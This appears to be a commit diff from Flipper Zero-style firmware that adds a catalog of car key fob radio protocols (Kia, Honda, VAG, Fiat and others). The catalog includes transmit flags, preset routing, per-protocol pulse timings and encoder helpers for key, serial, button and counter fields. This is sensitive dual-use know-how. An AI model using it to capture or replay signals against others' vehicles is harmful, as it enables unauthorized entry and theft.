{"Honda V1", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("honda_v1")},
{"Kia V0", SubGhzProtocolCatalogRoutePolicyFMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v0")},
{"Kia V1", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v1")},
{"Kia V2", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v2")},
{"Kia V3/V4", SubGhzProtocolCatalogRoutePolicyFMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v3_v4")},
{"Kia V5", SubGhzProtocolCatalogRoutePolicyFMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v5")},
{"Kia V6", SubGhzProtocolCatalogRoutePolicyFMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v6")},
{"Kia V7", SubGhzProtocolCatalogRoutePolicyFMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("kia_v7")},
{"Honda V2", SubGhzProtocolCatalogRoutePolicyFMF4,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("honda_v2")},
{"Mazda V0", SubGhzProtocolCatalogRoutePolicyByModulation,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("mazda_v0")},
{"Mitsubishi V0", SubGhzProtocolCatalogRoutePolicyFMDefault, NULL},
{"Porsche Touareg", SubGhzProtocolCatalogRoutePolicyAMDefault, NULL},
{"PSA", SubGhzProtocolCatalogRoutePolicyByModulation,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("psa")},
{"Renault V0", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("renault_v0")},
{"Scher-Khan", SubGhzProtocolCatalogRoutePolicyFMDefault, NULL},
{"Star Line", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("star_line")},
{"Subaru", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("subaru")},
{"VAG", SubGhzProtocolCatalogRoutePolicyAMVag,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("vag")},
};
static const SubGhzProtocolCatalogAlias subghz_protocol_catalog_aliases[] = {
{"StarLine", "Star Line"},
{"Kia V3", "Kia V3/V4"},
{"Kia V4", "Kia V3/V4"},
{"KIA/HYU V3", "Kia V3/V4"},
{"KIA/HYU V4", "Kia V3/V4"},
{"Suzuki", "Kia V0"},
{"Suzuki V0", "Kia V0"},
{"Honda V0", "Kia V0"},
{"Land Rover V0", "Honda V2"},
{"VW", "VAG"},
};
static bool catalog_string_equal(const char* a, const char* b) {
return a && b && strcmp(a, b) == 0;
}
static bool catalog_string_contains(const char* haystack, const char* needle) {
return haystack && needle && strstr(haystack, needle) != NULL;
}
static const SubGhzProtocolCatalogEntry*
catalog_find_canonical(const char* canonical_name) {
if(!canonical_name || canonical_name[0] == '\0') {
return NULL;
}
for(size_t i = 0; i < SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(subghz_protocol_catalog); i++) {
if(catalog_string_equal(
canonical_name, subghz_protocol_catalog[i].canonical_name)) {
return &subghz_protocol_catalog[i];
}
}
return NULL;
}
static const char* catalog_alias_to_canonical(const char* protocol_name) {
if(!protocol_name || protocol_name[0] == '\0') {
return NULL;
}
for(size_t i = 0; i < SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(subghz_protocol_catalog_aliases); i++) {
if(catalog_string_equal(
protocol_name, subghz_protocol_catalog_aliases[i].alias)) {
return subghz_protocol_catalog_aliases[i].canonical_name;
}
}
return NULL;
}
static const SubGhzProtocolCatalogEntry*
catalog_find_substring(const char* protocol_name) {
if(!protocol_name || protocol_name[0] == '\0') {
return NULL;
}
for(size_t i = 0; i < SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(subghz_protocol_catalog); i++) {
if(catalog_string_contains(
protocol_name, subghz_protocol_catalog[i].canonical_name)) {
return &subghz_protocol_catalog[i];
}
}
for(size_t i = 0; i < SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(subghz_protocol_catalog_aliases); i++) {
if(catalog_string_contains(
protocol_name, subghz_protocol_catalog_aliases[i].alias)) {
return catalog_find_canonical(
subghz_protocol_catalog_aliases[i].canonical_name);
}
}
return NULL;
}
const SubGhzProtocolCatalogEntry*
subghz_protocol_catalog_find(const char* protocol_name) {
if(!protocol_name || protocol_name[0] == '\0') {
return NULL;
}
const SubGhzProtocolCatalogEntry* entry =
catalog_find_canonical(protocol_name);
if(entry) {
return entry;
}
const char* canonical_name = catalog_alias_to_canonical(protocol_name);
if(canonical_name) {
return catalog_find_canonical(canonical_name);
}
return NULL;
}
const char* subghz_protocol_catalog_canonical_name(const char* protocol_name) {
const SubGhzProtocolCatalogEntry* entry = subghz_protocol_catalog_find(protocol_name);
return entry ? entry->canonical_name : protocol_name;
}
bool subghz_protocol_catalog_can_tx(const char* protocol_name) {
return subghz_protocol_catalog_tx_key(protocol_name) != NULL;
}
const char* subghz_protocol_catalog_tx_key(const char* protocol_name) {
const SubGhzProtocolCatalogEntry* entry = subghz_protocol_catalog_find(protocol_name);
return entry ? entry->tx_key : NULL;
}
const char*
subghz_protocol_catalog_display_name(const char* protocol_name, uint32_t protocol_type) {
if(!protocol_name) {
return NULL;
}
if(catalog_string_equal(protocol_name, "Suzuki") ||
catalog_string_equal(protocol_name, "Suzuki V0")) {
return "Suzuki V0";
}
if(catalog_string_equal(protocol_name, "Honda V0")) {
return "Honda V0";
}
const char* canonical_name = subghz_protocol_catalog_canonical_name(protocol_name);
if(catalog_string_equal(canonical_name, "Kia V0")) {
if(protocol_type == 2U) {
return "Suzuki V0";
}
if(protocol_type == 3U) {
return "Honda V0";
}
}
return canonical_name;
}
static bool catalog_preset_try_get_register(
const uint8_t* preset_data,
size_t preset_data_size,
uint8_t reg,
uint8_t* value) {
if(!preset_data || !value || (preset_data_size < 2U)) {
return false;
}
for(size_t i = 0; i + 1U < preset_data_size; i += 2U) {
const uint8_t address = preset_data[i];
const uint8_t data = preset_data[i + 1U];
if((address == 0x00U) && (data == 0x00U)) {
break;
}
if(address == reg) {
*value = data;
return true;
}
}
return false;
}
static SubGhzProtocolCatalogModulation catalog_get_modulation(
const uint8_t* preset_data,
size_t preset_data_size) {
uint8_t mdmcfg2 = 0U;
if(!catalog_preset_try_get_register(
preset_data, preset_data_size, SUBGHZ_PROTOCOL_CATALOG_CC1101_REG_MDMCFG2, &mdmcfg2)) {
FURI_LOG_W(TAG, "Preset missing MDMCFG2, defaulting to AM registry");
return SubGhzProtocolCatalogModulationAM;
}
switch(mdmcfg2 & SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_MASK) {
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_ASK_OOK:
return SubGhzProtocolCatalogModulationAM;
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_2FSK:
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_GFSK:
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_4FSK:
case SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_MSK:
return SubGhzProtocolCatalogModulationFM;
default:
FURI_LOG_W(TAG, "Unknown MDMCFG2 0x%02X, defaulting to AM registry", mdmcfg2);
return SubGhzProtocolCatalogModulationAM;
}
}
static bool catalog_frequency_in_vag_band(uint32_t frequency) {
return frequency >= SUBGHZ_PROTOCOL_CATALOG_VAG_FREQUENCY_MIN &&
frequency <= SUBGHZ_PROTOCOL_CATALOG_VAG_FREQUENCY_MAX;
}
static SubGhzProtocolCatalogRoute catalog_route_from_policy(
SubGhzProtocolCatalogRoutePolicy policy,
SubGhzProtocolCatalogModulation modulation) {
switch(policy) {
case SubGhzProtocolCatalogRoutePolicyAMVag:
return SubGhzProtocolCatalogRouteAMVag;
case SubGhzProtocolCatalogRoutePolicyFMDefault:
return SubGhzProtocolCatalogRouteFMDefault;
case SubGhzProtocolCatalogRoutePolicyFMF4:
return SubGhzProtocolCatalogRouteFMF4;
case SubGhzProtocolCatalogRoutePolicyFMHonda1:
return SubGhzProtocolCatalogRouteFMHonda1;
case SubGhzProtocolCatalogRoutePolicyByModulation:
return (modulation == SubGhzProtocolCatalogModulationAM) ?
SubGhzProtocolCatalogRouteAMDefault :
SubGhzProtocolCatalogRouteFMDefault;
case SubGhzProtocolCatalogRoutePolicyAMDefault:
default:
return SubGhzProtocolCatalogRouteAMDefault;
}
}
SubGhzProtocolCatalogRoute subghz_protocol_catalog_get_route(
const char* preset_name,
uint32_t frequency,
const uint8_t* preset_data,
size_t preset_data_size,
const char* protocol_name) {
const SubGhzProtocolCatalogEntry* entry =
subghz_protocol_catalog_find(protocol_name);
if(!entry) {
entry = catalog_find_substring(protocol_name);
}
if(entry && entry->route_policy != SubGhzProtocolCatalogRoutePolicyByModulation) {
return catalog_route_from_policy(
entry->route_policy, SubGhzProtocolCatalogModulationAM);
}
const SubGhzProtocolCatalogModulation modulation =
catalog_get_modulation(preset_data, preset_data_size);
if(entry) {
return catalog_route_from_policy(entry->route_policy, modulation);
}
if(modulation == SubGhzProtocolCatalogModulationAM) {
if(catalog_frequency_in_vag_band(frequency)) {
return SubGhzProtocolCatalogRouteAMVag;
}
return SubGhzProtocolCatalogRouteAMDefault;
}
if(catalog_string_contains(preset_name, "F4")) {
return SubGhzProtocolCatalogRouteFMF4;
}
if(catalog_string_contains(preset_name, "Honda1") ||
catalog_string_contains(preset_name, "Honda 1")) {
return SubGhzProtocolCatalogRouteFMHonda1;
}
return SubGhzProtocolCatalogRouteFMDefault;
}
const char* subghz_protocol_catalog_get_route_name(SubGhzProtocolCatalogRoute route) {
switch(route) {
case SubGhzProtocolCatalogRouteAMVag:
return "AM_VAG";
case SubGhzProtocolCatalogRouteFMDefault:
return "FM_DEFAULT";
case SubGhzProtocolCatalogRouteFMF4:
return "FM_F4";
case SubGhzProtocolCatalogRouteFMHonda1:
return "FM_HONDA1";
case SubGhzProtocolCatalogRouteAMDefault:
default:
return "AM_DEFAULT";
}
}
const char* subghz_protocol_catalog_route_to_preset_name(SubGhzProtocolCatalogRoute route) {
switch(route) {
case SubGhzProtocolCatalogRouteAMVag:
return "AM270";
case SubGhzProtocolCatalogRouteFMDefault:
return "FM476";
case SubGhzProtocolCatalogRouteFMF4:
return "FM12K";
case SubGhzProtocolCatalogRouteFMHonda1:
return "FM238";
case SubGhzProtocolCatalogRouteAMDefault:
default:
return "AM650";
}
}
+50 -2
View File
@@ -63,6 +63,10 @@
#include "psa.h"
#include "fiat_spa.h"
#include "fiat_marelli.h"
#include "fiat_v0.h"
#include "fiat_v1.h"
#include "fiat_v2.h"
#include "renault_v0.h"
#include "bmw_cas4.h"
#include "subaru.h"
#include "kia_generic.h"
@@ -79,8 +83,6 @@
#include "scher_khan.h"
#include "sheriff_cfm.h"
#include "chrysler.h"
//#include "honda_static.h"
//#include "honda_v1.h"
#include "mazda_v0.h"
#include "kia_v7.h"
#include "ford_v1.h"
@@ -88,3 +90,49 @@
#include "ford_v3.h"
#include "land_rover_v0.h"
#include "toyota.h"
#include "honda_static.h"
#include "honda_v1.h"
#include "honda_v2.h"
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
typedef enum {
SubGhzProtocolCatalogRouteAMDefault = 0,
SubGhzProtocolCatalogRouteAMVag,
SubGhzProtocolCatalogRouteFMDefault,
SubGhzProtocolCatalogRouteFMF4,
SubGhzProtocolCatalogRouteFMHonda1,
} SubGhzProtocolCatalogRoute;
typedef enum {
SubGhzProtocolCatalogRoutePolicyAMDefault = 0,
SubGhzProtocolCatalogRoutePolicyAMVag,
SubGhzProtocolCatalogRoutePolicyFMDefault,
SubGhzProtocolCatalogRoutePolicyFMF4,
SubGhzProtocolCatalogRoutePolicyFMHonda1,
SubGhzProtocolCatalogRoutePolicyByModulation,
} SubGhzProtocolCatalogRoutePolicy;
typedef struct {
const char* canonical_name;
SubGhzProtocolCatalogRoutePolicy route_policy;
const char* tx_key;
} SubGhzProtocolCatalogEntry;
const SubGhzProtocolCatalogEntry*
subghz_protocol_catalog_find(const char* protocol_name);
const char* subghz_protocol_catalog_canonical_name(const char* protocol_name);
bool subghz_protocol_catalog_can_tx(const char* protocol_name);
const char* subghz_protocol_catalog_tx_key(const char* protocol_name);
const char* subghz_protocol_catalog_display_name(const char* protocol_name, uint32_t protocol_type);
SubGhzProtocolCatalogRoute subghz_protocol_catalog_get_route(
const char* preset_name,
uint32_t frequency,
const uint8_t* preset_data,
size_t preset_data_size,
const char* protocol_name);
const char* subghz_protocol_catalog_get_route_name(SubGhzProtocolCatalogRoute route);
const char* subghz_protocol_catalog_route_to_preset_name(SubGhzProtocolCatalogRoute route);
+234
View File
@@ -0,0 +1,234 @@
#include "protocol_timings.h"
#include <furi.h>
#include <string.h>
#define PROTOCOL_TIMINGS_COUNT_OF(array) (sizeof(array) / sizeof((array)[0]))
static const SubGhzProtocolTiming protocol_timings[] = {
{
.name = "Honda Static",
.te_short = 63,
.te_long = 700,
.te_delta = 120,
.min_count_bit = 64,
},
{
.name = "Honda V1",
.te_short = 1000,
.te_long = 2000,
.te_delta = 400,
.min_count_bit = 64,
},
{
.name = "Kia V0",
.te_short = 250,
.te_long = 500,
.te_delta = 100,
.min_count_bit = 61,
},
{
.name = "Kia V1",
.te_short = 800,
.te_long = 1600,
.te_delta = 200,
.min_count_bit = 56,
},
{
.name = "Kia V2",
.te_short = 500,
.te_long = 1000,
.te_delta = 150,
.min_count_bit = 51,
},
{
.name = "Kia V3/V4",
.te_short = 400,
.te_long = 800,
.te_delta = 150,
.min_count_bit = 64,
},
{
.name = "Kia V5",
.te_short = 400,
.te_long = 800,
.te_delta = 150,
.min_count_bit = 64,
},
{
.name = "Kia V6",
.te_short = 200,
.te_long = 400,
.te_delta = 100,
.min_count_bit = 144,
},
{
.name = "Kia V7",
.te_short = 250,
.te_long = 500,
.te_delta = 100,
.min_count_bit = 64,
},
{
.name = "Ford V0",
.te_short = 250,
.te_long = 500,
.te_delta = 100,
.min_count_bit = 64,
},
{
.name = "Chrysler V0",
.te_short = 300,
.te_long = 3700,
.te_delta = 400,
.min_count_bit = 80,
},
{
.name = "Ford V1",
.te_short = 65,
.te_long = 130,
.te_delta = 39,
.min_count_bit = 136,
},
{
.name = "Ford V2",
.te_short = 200,
.te_long = 400,
.te_delta = 260,
.min_count_bit = 104,
},
{
.name = "Ford V3",
.te_short = 240,
.te_long = 480,
.te_delta = 60,
.min_count_bit = 104,
},
{
.name = "Fiat V0",
.te_short = 200,
.te_long = 400,
.te_delta = 100,
.min_count_bit = 64,
},
{
.name = "Fiat V1",
.te_short = 250,
.te_long = 500,
.te_delta = 100,
.min_count_bit = 102,
},
{
.name = "Fiat V2",
.te_short = 210,
.te_long = 420,
.te_delta = 100,
.min_count_bit = 112,
},
{
.name = "Renault V0",
.te_short = 125,
.te_long = 250,
.te_delta = 60,
.min_count_bit = 82,
},
{
.name = "Mazda V0",
.te_short = 250,
.te_long = 500,
.te_delta = 100,
.min_count_bit = 64,
},
{
.name = "Honda V2",
.te_short = 250,
.te_long = 500,
.te_delta = 100,
.min_count_bit = 81,
},
{
.name = "Porsche Touareg",
.te_short = 1680,
.te_long = 3370,
.te_delta = 500,
.min_count_bit = 64,
},
{
.name = "Subaru",
.te_short = 800,
.te_long = 1600,
.te_delta = 200,
.min_count_bit = 64,
},
{
.name = "VW",
.te_short = 500,
.te_long = 1000,
.te_delta = 120,
.min_count_bit = 80,
},
{
.name = "Scher-Khan",
.te_short = 750,
.te_long = 1100,
.te_delta = 180,
.min_count_bit = 35,
},
{
.name = "Star Line",
.te_short = 250,
.te_long = 500,
.te_delta = 120,
.min_count_bit = 64,
},
{
.name = "PSA",
.te_short = 250,
.te_long = 500,
.te_delta = 100,
.min_count_bit = 128,
},
};
static const size_t protocol_timings_count = PROTOCOL_TIMINGS_COUNT_OF(protocol_timings);
const SubGhzProtocolTiming* subghz_protocol_timing_get(const char* protocol_name) {
if(!protocol_name) return NULL;
for(size_t i = 0; i < protocol_timings_count; i++) {
if(strcmp(protocol_name, protocol_timings[i].name) == 0 ||
strstr(protocol_name, protocol_timings[i].name) != NULL) {
return &protocol_timings[i];
}
}
static const struct {
const char* alias;
const char* canonical;
} aliases[] = {
{"Honda V0", "Kia V0"},
{"Land Rover V0", "Honda V2"},
{"Suzuki", "Kia V0"},
{"V3", "Kia V3/V4"},
{"V4", "Kia V3/V4"},
};
for(size_t a = 0; a < PROTOCOL_TIMINGS_COUNT_OF(aliases); a++) {
if(strstr(protocol_name, aliases[a].alias) == NULL) continue;
for(size_t i = 0; i < protocol_timings_count; i++) {
if(strstr(protocol_timings[i].name, aliases[a].canonical) != NULL) {
return &protocol_timings[i];
}
}
}
return NULL;
}
const SubGhzProtocolTiming* subghz_protocol_timing_get_by_index(size_t index) {
if(index >= protocol_timings_count) return NULL;
return &protocol_timings[index];
}
size_t subghz_protocol_timing_get_count(void) {
return protocol_timings_count;
}
+16
View File
@@ -0,0 +1,16 @@
#pragma once
#include <stddef.h>
#include <stdint.h>
typedef struct {
const char* name;
uint32_t te_short;
uint32_t te_long;
uint32_t te_delta;
uint32_t min_count_bit;
} SubGhzProtocolTiming;
const SubGhzProtocolTiming* subghz_protocol_timing_get(const char* protocol_name);
const SubGhzProtocolTiming* subghz_protocol_timing_get_by_index(size_t index);
size_t subghz_protocol_timing_get_count(void);
+376
View File
@@ -0,0 +1,376 @@
#include "protocols_common.h"
#include <string.h>
#include <stdlib.h>
const char SUBGHZ_PROTOCOL_COMMON_KEY[] = "Key";
const char SUBGHZ_PROTOCOL_COMMON_SERIAL[] = "Serial";
const char SUBGHZ_PROTOCOL_COMMON_BTN[] = "Btn";
const char SUBGHZ_PROTOCOL_COMMON_CNT[] = "Cnt";
const char SUBGHZ_PROTOCOL_COMMON_REPEAT[] = "Repeat";
const char SUBGHZ_PROTOCOL_COMMON_PROTOCOL[] = "Protocol";
const char SUBGHZ_PROTOCOL_COMMON_PRESET[] = "Preset";
const char SUBGHZ_PROTOCOL_COMMON_FREQUENCY[] = "Frequency";
const char SUBGHZ_PROTOCOL_COMMON_TYPE[] = "Type";
uint8_t subghz_protocol_common_reverse_bits8(uint8_t value) {
value = (uint8_t)(((value >> 4U) | (value << 4U)) & 0xFFU);
value = (uint8_t)(((value & 0x33U) << 2U) | ((value >> 2U) & 0x33U));
value = (uint8_t)(((value & 0x55U) << 1U) | ((value >> 1U) & 0x55U));
return value;
}
void subghz_protocol_common_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
for(size_t i = 0; i < 8; i++) {
bytes[i] = (uint8_t)((data >> ((7U - i) * 8U)) & 0xFFU);
}
}
uint64_t subghz_protocol_common_bytes_to_u64_be(const uint8_t bytes[8]) {
uint64_t data = 0;
for(size_t i = 0; i < 8; i++) {
data = (data << 8U) | bytes[i];
}
return data;
}
static bool common_hex_nibble(char c, uint8_t* nibble) {
if(c >= '0' && c <= '9') {
*nibble = (uint8_t)(c - '0');
} else if(c >= 'A' && c <= 'F') {
*nibble = (uint8_t)(c - 'A' + 10);
} else if(c >= 'a' && c <= 'f') {
*nibble = (uint8_t)(c - 'a' + 10);
} else {
return false;
}
return true;
}
bool subghz_protocol_common_parse_hex_u64_strict(const char* str, uint64_t* out_key) {
if(!str || !out_key) {
return false;
}
uint64_t key = 0;
uint8_t hex_pos = 0;
for(size_t i = 0; str[i] != '\0' && hex_pos < 16; i++) {
if(str[i] == ' ') {
continue;
}
uint8_t nibble = 0;
if(!common_hex_nibble(str[i], &nibble)) {
return false;
}
key = (key << 4) | nibble;
hex_pos++;
}
if(hex_pos != 16) {
return false;
}
*out_key = key;
return true;
}
bool subghz_protocol_common_flipper_read_hex_u64(
FlipperFormat* flipper_format,
const char* key,
uint64_t* out_key) {
FuriString* value = furi_string_alloc();
if(!value) {
return false;
}
bool ok = false;
if(flipper_format_rewind(flipper_format) &&
flipper_format_read_string(flipper_format, key, value)) {
ok = subghz_protocol_common_parse_hex_u64_strict(furi_string_get_cstr(value), out_key);
}
furi_string_free(value);
return ok;
}
void subghz_protocol_common_flipper_update_or_insert_u32(
FlipperFormat* flipper_format,
const char* key,
uint32_t value) {
flipper_format_rewind(flipper_format);
if(!flipper_format_update_uint32(flipper_format, key, &value, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, key, &value, 1);
}
}
SubGhzProtocolStatus
subghz_protocol_common_verify_protocol_name(FlipperFormat* ff, const char* expected_name) {
if(!ff || !expected_name) {
return SubGhzProtocolStatusError;
}
FuriString* tmp = furi_string_alloc();
if(!tmp) {
return SubGhzProtocolStatusError;
}
SubGhzProtocolStatus result = SubGhzProtocolStatusError;
if(!flipper_format_read_string(ff, SUBGHZ_PROTOCOL_COMMON_PROTOCOL, tmp)) {
result = SubGhzProtocolStatusErrorParserOthers;
} else if(furi_string_equal(tmp, expected_name)) {
result = SubGhzProtocolStatusOk;
}
furi_string_free(tmp);
return result;
}
SubGhzProtocolStatus subghz_protocol_common_encoder_read_bit(
FlipperFormat* ff,
const uint16_t* allowed_bits,
size_t allowed_bits_count,
uint32_t* out_bit) {
if(!ff || !out_bit) return SubGhzProtocolStatusError;
flipper_format_rewind(ff);
uint32_t bit = 0;
if(!flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_BTN, &bit, 1)) {
return SubGhzProtocolStatusErrorValueBitCount;
}
if(allowed_bits && allowed_bits_count) {
bool ok = false;
for(size_t i = 0; i < allowed_bits_count; i++) {
if((uint32_t)allowed_bits[i] == bit) {
ok = true;
break;
}
}
if(!ok) return SubGhzProtocolStatusError;
}
*out_bit = bit;
return SubGhzProtocolStatusOk;
}
void subghz_protocol_common_encoder_read_fields(
FlipperFormat* ff,
uint32_t* serial_out,
uint32_t* btn_out,
uint32_t* cnt_out,
uint32_t* type_out) {
if(!ff) return;
uint32_t tmp = 0;
if(serial_out) {
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_SERIAL, &tmp, 1)) *serial_out = tmp;
}
if(btn_out) {
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_BTN, &tmp, 1)) *btn_out = tmp;
}
if(cnt_out) {
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_CNT, &tmp, 1)) *cnt_out = tmp;
}
if(type_out) {
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_TYPE, &tmp, 1)) *type_out = tmp;
}
}
uint32_t subghz_protocol_common_encoder_read_repeat(FlipperFormat* ff, uint32_t default_repeat) {
if(!ff) return default_repeat;
flipper_format_rewind(ff);
uint32_t tmp = 0;
if(!flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_REPEAT, &tmp, 1)) {
return default_repeat;
}
if(tmp == 0) {
return default_repeat;
}
if(tmp > SUBGHZ_PROTOCOL_COMMON_ENCODER_REPEAT_MAX) {
tmp = SUBGHZ_PROTOCOL_COMMON_ENCODER_REPEAT_MAX;
}
return tmp;
}
SubGhzProtocolStatus subghz_protocol_common_serialize_fields(
FlipperFormat* ff,
uint32_t field_mask,
uint32_t serial,
uint32_t btn,
uint32_t cnt,
uint32_t type) {
if(!ff) return SubGhzProtocolStatusError;
if((field_mask & SUBGHZ_PROTOCOL_COMMON_FIELD_SERIAL) &&
!flipper_format_write_uint32(ff, SUBGHZ_PROTOCOL_COMMON_SERIAL, &serial, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
if((field_mask & SUBGHZ_PROTOCOL_COMMON_FIELD_BTN) &&
!flipper_format_write_uint32(ff, SUBGHZ_PROTOCOL_COMMON_BTN, &btn, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
if((field_mask & SUBGHZ_PROTOCOL_COMMON_FIELD_CNT) &&
!flipper_format_write_uint32(ff, SUBGHZ_PROTOCOL_COMMON_CNT, &cnt, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
if((field_mask & SUBGHZ_PROTOCOL_COMMON_FIELD_TYPE) &&
!flipper_format_write_uint32(ff, SUBGHZ_PROTOCOL_COMMON_TYPE, &type, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
return SubGhzProtocolStatusOk;
}
SubGhzProtocolStatus subghz_protocol_common_write_display(
FlipperFormat* ff,
const char* protocol_name,
const char* suffix) {
if(!ff || !protocol_name || !suffix) {
return SubGhzProtocolStatusError;
}
FuriString* display = furi_string_alloc();
if(!display) {
return SubGhzProtocolStatusError;
}
furi_string_printf(display, "%s - %s", protocol_name, suffix);
SubGhzProtocolStatus status =
flipper_format_write_string_cstr(ff, "Disp", furi_string_get_cstr(display)) ?
SubGhzProtocolStatusOk :
SubGhzProtocolStatusErrorParserOthers;
furi_string_free(display);
return status;
}
size_t subghz_protocol_common_emit_merge(
LevelDuration* up,
size_t i,
size_t cap,
bool level,
uint32_t us) {
if(i > 0 && level_duration_get_level(up[i - 1]) == level) {
uint32_t prev = level_duration_get_duration(up[i - 1]);
up[i - 1] = level_duration_make(level, prev + us);
return i;
}
if(i < cap) up[i++] = level_duration_make(level, us);
return i;
}
size_t subghz_protocol_common_emit_byte_manchester(
LevelDuration* up,
size_t i,
size_t cap,
uint8_t value,
uint32_t te) {
for(int8_t bit = 7; bit >= 0; bit--) {
bool bit_value = ((value >> bit) & 1) != 0;
i = subghz_protocol_common_emit_manchester_bit(up, i, cap, bit_value, te);
}
return i;
}
size_t subghz_protocol_common_emit_short_pairs(
LevelDuration* up,
size_t i,
size_t cap,
uint32_t te,
size_t pair_count) {
for(size_t p = 0; p < pair_count; p++) {
i = subghz_protocol_common_emit(up, i, cap, true, te);
i = subghz_protocol_common_emit(up, i, cap, false, te);
}
return i;
}
void subghz_protocol_common_encoder_free(void* context) {
furi_check(context);
SubGhzProtocolCommonEncoder* hdr = context;
hdr->encoder.upload = NULL;
hdr->encoder.size_upload = 0;
free(hdr);
}
void subghz_protocol_common_encoder_stop(void* context) {
furi_check(context);
SubGhzProtocolCommonEncoder* hdr = context;
hdr->encoder.is_running = false;
hdr->encoder.front = 0;
}
LevelDuration subghz_protocol_common_encoder_yield(void* context) {
furi_check(context);
SubGhzProtocolCommonEncoder* hdr = context;
if(hdr->encoder.repeat == 0 || !hdr->encoder.is_running || hdr->encoder.size_upload == 0) {
hdr->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = hdr->encoder.upload[hdr->encoder.front];
if(++hdr->encoder.front == hdr->encoder.size_upload) {
hdr->encoder.repeat--;
hdr->encoder.front = 0;
}
return ret;
}
static LevelDuration* common_shared_upload_buf = NULL;
LevelDuration* subghz_protocol_common_shared_upload_buffer(void) {
if(common_shared_upload_buf == NULL) {
common_shared_upload_buf =
malloc(SUBGHZ_PROTOCOL_COMMON_SHARED_UPLOAD_CAPACITY * sizeof(LevelDuration));
furi_check(common_shared_upload_buf);
}
return common_shared_upload_buf;
}
size_t subghz_protocol_common_shared_upload_capacity(void) {
return SUBGHZ_PROTOCOL_COMMON_SHARED_UPLOAD_CAPACITY;
}
void subghz_protocol_common_shared_upload_release(void) {
free(common_shared_upload_buf);
common_shared_upload_buf = NULL;
}
void subghz_protocol_common_encoder_buffer_ensure(void* context, size_t capacity) {
furi_check(context);
SubGhzProtocolCommonEncoder* hdr = context;
furi_check(capacity <= SUBGHZ_PROTOCOL_COMMON_SHARED_UPLOAD_CAPACITY);
hdr->encoder.upload = subghz_protocol_common_shared_upload_buffer();
hdr->encoder.size_upload = capacity;
}
uint8_t subghz_protocol_common_decoder_hash_blocks(void* context) {
furi_check(context);
SubGhzProtocolCommonDecoder* hdr = context;
return subghz_protocol_blocks_get_hash_data(
&hdr->decoder, (hdr->decoder.decode_count_bit / 8U) + 1U);
}
void subghz_protocol_common_decoder_free_default(void* context) {
furi_check(context);
free(context);
}
bool subghz_protocol_common_preset_name_is_custom_marker(const char* preset_name) {
return preset_name && (!strcmp(preset_name, "Custom") ||
!strcmp(preset_name, "CUSTOM") ||
!strcmp(preset_name, "FuriHalSubGhzPresetCustom") ||
strstr(preset_name, "PresetCustom"));
}
const char* subghz_protocol_common_get_short_preset_name(const char* preset_name) {
if(!preset_name || preset_name[0] == '\0') return "AM650";
if(strstr(preset_name, "Ook650") || strstr(preset_name, "OOK650")) return "AM650";
if(strstr(preset_name, "Ook270") || strstr(preset_name, "OOK270")) return "AM270";
if(strstr(preset_name, "2FSKDev238") || strstr(preset_name, "Dev238")) return "FM238";
if(strstr(preset_name, "2FSKDev12K") || strstr(preset_name, "Dev12K")) return "FM12K";
if(strstr(preset_name, "2FSKDev476") || strstr(preset_name, "Dev476")) return "FM476";
if(subghz_protocol_common_preset_name_is_custom_marker(preset_name)) return "Custom";
if(!strcmp(preset_name, "AM650")) return "AM650";
if(!strcmp(preset_name, "AM270")) return "AM270";
if(!strcmp(preset_name, "FM238")) return "FM238";
if(!strcmp(preset_name, "FM12K")) return "FM12K";
if(!strcmp(preset_name, "FM476")) return "FM476";
return preset_name;
}
+165
View File
@@ -0,0 +1,165 @@
#pragma once
#include <lib/flipper_format/flipper_format.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/protocols/base.h>
